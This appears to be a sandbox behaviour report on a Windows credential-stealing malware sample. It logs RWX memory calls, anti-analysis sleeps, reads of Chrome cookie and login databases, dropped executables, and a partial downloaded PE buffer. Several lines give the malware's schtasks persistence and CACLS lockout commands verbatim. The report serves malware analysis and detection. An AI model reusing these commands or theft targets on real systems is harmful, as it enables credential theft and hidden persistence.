NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000bb0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000d30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b6a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3485000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b6b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000bb0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000bc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93d5a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e0c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e36000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93d6c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1e16000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe52d000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e81000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93d7b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93dac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93d7d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

nbveek.exe tried to sleep 128 seconds, actually delayed analysis time by 128 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (14 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425739 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425739 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425482 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425482 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425275 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425275 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425126 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:01 p.m.	number_of_free_clusters: 2425126 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:02 p.m.	number_of_free_clusters: 2424477 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:02 p.m.	number_of_free_clusters: 2424477 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:02 p.m.	number_of_free_clusters: 2424291 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:02 p.m.	number_of_free_clusters: 2424291 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:02 p.m.	number_of_free_clusters: 2424142 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Feb. 19, 2023, 2:02 p.m.	number_of_free_clusters: 2424142 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State

Creates executable files on the filesystem (23 events)

file	C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\kFw24bl.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\leW63TH.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\sCf07ZB.exe
file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\dNZ51dd.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\nJM68XE.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\sLP46se.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\nXi14fa28.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\rtJ58hE.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\iWr34lU.exe
file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\nRK04uJ07.exe
file	C:\Users\test22\AppData\Local\Temp\1000245001\Underglaze.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\slV42BL.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file	C:\Users\test22\AppData\Roaming\1000239000\agent.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\eTh66Ma.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\nBU16dI.exe
file	C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\kQu23BE.exe

Creates a suspicious process (7 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\9e0894bcc4" /P "test22:N"&&CACLS "..\9e0894bcc4" /P "test22:R" /E&&Exit
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "test22:N"&&CACLS "mnolyk.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4f9dd6f8a7" /P "test22:N"&&CACLS "..\4f9dd6f8a7" /P "test22:R" /E&&Exit

Drops a binary and executes it (5 events)

file	C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe
file	C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe
file	C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe
file	C:\Users\test22\AppData\Roaming\1000239000\agent.exe
file	C:\Users\test22\AppData\Local\Temp\1000245001\Underglaze.exe

Drops an executable to the user AppData folder (7 events)

file	C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe
file	C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe
file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll
file	C:\Users\test22\AppData\Roaming\1000239000\agent.exe
file	C:\Users\test22\AppData\Local\Temp\1000245001\Underglaze.exe

A process created a hidden window (13 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "mnolyk.exe" /P "test22:N"&&CACLS "mnolyk.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4f9dd6f8a7" /P "test22:N"&&CACLS "..\4f9dd6f8a7" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:03 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\9e0894bcc4" /P "test22:N"&&CACLS "..\9e0894bcc4" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\1000239000\agent.exe parameters: filepath: C:\Users\test22\AppData\Roaming\1000239000\agent.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:02 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000245001\Underglaze.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000245001\Underglaze.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:03 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW Feb. 19, 2023, 2:03 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main filepath: rundll32.exe	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Feb. 19, 2023, 2:02 p.m.	process_identifier: 3044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 110592 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00402000 process_handle: 0x0000002c	1	0	0

An executable file was downloaded by the processes mnolyk.exe, nbveek.exe (7 events)

Time & API	Arguments	Status	Return
InternetReadFile Feb. 19, 2023, 2:02 p.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $×â%KÔKÔKÔöåNÕKÔöåHÕKÔöåOÕKÔöåJÕKÔJÔ KÔöåCÕKÔöå´ÔKÔöåIÕKÔRichKÔPELâ`bà d `j@ ` E@Á ¢´À PT@ .textcd `.dataHh@À.idataR j@@.rsrc À \|@@.relocP þ @B@P@¤@p@¢@È@u j@°i@@o@àÀ012P4ð4BIPJÐJ`KÀK LÀLÐLàOcÀc`g°i j`jàlðn@oppr radvapi32.dllCheckTokenMembership" .INF[]RebootAdvancedINFVersionsetupx.dllsetupapi.dll.BATSeShutdownPrivilegeadvpack.dllDelNodeRunDLL32...wininit.ini%luSoftware\Microsoft\Windows\CurrentVersion\App Paths\Kernel32.dllHeapSetInformationTITLEEXTRACTOPTINSTANCECHECKVERCHECKDecryptFileALICENSE<None>REBOOTSHOWWINDOWADMQCMDUSRQCMDRUNPROGRAMPOSTRUNPROGRAMFINISHMSGLoadString() Error. Could not load string resource.CABINETFILESIZESPACKINSTSPACEUPROMPTIXP%03d.TMPIXPi386mipsalphappcA:\msdownld.tmpTMP4351$.TMPRegServerUPDFILE%luControl Panel\Desktop\ResourceLocaleâ`b%ttâ`b Øâ`bprRSDSºÍã÷æÎÍú1 òïåwextract.pdbGCTL¬.rdata$brc¬.CRT$XCA°.CRT$XCAA´.CRT$XCZ¸.CRT$XIA¼.CRT$XIAAÀ.CRT$XIYÄ.CRT$XIZÈx.gfids@0.rdatap.rdata$sxdatat.rdata$zzzdbg8\.text$mn¸r\.xdata$xà.dataàh.bss .idata$5¢.00cfg¢ .idata$2,£.idata$3@£.idata$4È¥ .idata$6À.rsrc$01Ä .rsrc$02ÿUì3ÀÒtúÿÿÿv¸WÀxQÿuQèÛëÒtÆ]ÂÿUìSVW3ÿ»W÷Òtúÿÿÿvóöx?òÁÒt8t@îuõþÂ÷Þö+Çæ©ÿøó÷ßÿ#øöxQÿu+×QÏènð_Æ^[]ÂÿUìEV3öÀt=ÿÿÿv¾Wöx5S]3öWxÿEPÿuWSÿ\|¢@ÄÀx;Çwuë¾zÆ_[ë ÀtMÆÆ^]ÃÿUìÒt&ESV¾þÿÿ+ÁötÛt ANêuì^[ÒuI÷ÚÆÒâÿøz]ÂÿUì9MrEº+Á;Âw+M ë3À]ÂÿUìì¡@3ÅEüSVW3ÀfÇEøñEôhD@uèØÿx @øÿtjhT@Wÿ @EðÀtP3ÉEìPQQQQQQh j jEôPCÿ$ @ÀtMðôÿuèÿuìjÿ¢@ÿUð;ôt¹Í)ÿuìÿ @Wÿ¬ @MüÃ_^3Í[èATå]ÃÿUìì¡@3ÅEü¡(@SWj3ÛfÇEø_]ô]ð;ÇôMðèÿÿÿÀÓEèPjÿ¡@Pÿ @ÀÉEìPSSWÿuèÿ @Àÿl @øzVÿuìSÿP¡@ðötqEìPÿuìVWÿuèÿ @ÀtTEäPSSSSSSh j WEôPÿ$ @Àt49v'~ÿuäÿ7ÿ, @Àu CÇ;réë3À@£(@Eðÿuäÿ @Vÿ¤ @^ÿuèÿ @EðëEðÀt Ç(@Mü_3Í[èSå]ÃÌÌÌÌÌÌÌÿUìì¡@3ÅEüEVu-t!èuUÃ÷ÿÿùw RVÿà¡@ëP3ÀëOÿÌ¡@ÐÎè)hüýÿÿÆüýÿÿPÿuÿ5<@ÿè¡@üýÿÿPh?VÿÔ¡@jÿÿÜ¡@3À@Mü3Í^èbRå]ÂÿUìQSÁÚVWEü3ÿ0ë>tFf¾ËèÔKÀuëEüf¾0ë3Àë#<7tGf¾7Ëè®KÀté78tÆ@_^[å]ÃÿUìì¡@3ÅEüEºSVÙèùÿÿEôýÿÿWSìùÿÿè[ûÿÿ½ôýÿÿ"u ºl@õýÿÿëºp@ôýÿÿðùÿÿðùÿÿè-ÿÿÿµðùÿÿøöt<ÎQAÀuù+Êùr)F<:u~\t >\u<\uVºøþÿÿèãúÿÿë(Qhä@QºøþÿÿèËûÿÿVºøþÿÿèÃIj.ZÎè÷JÀjÿht@jÿPjjÿh @Hè\|øþÿÿPÿ request_handle: 0x00cc000c	1	1
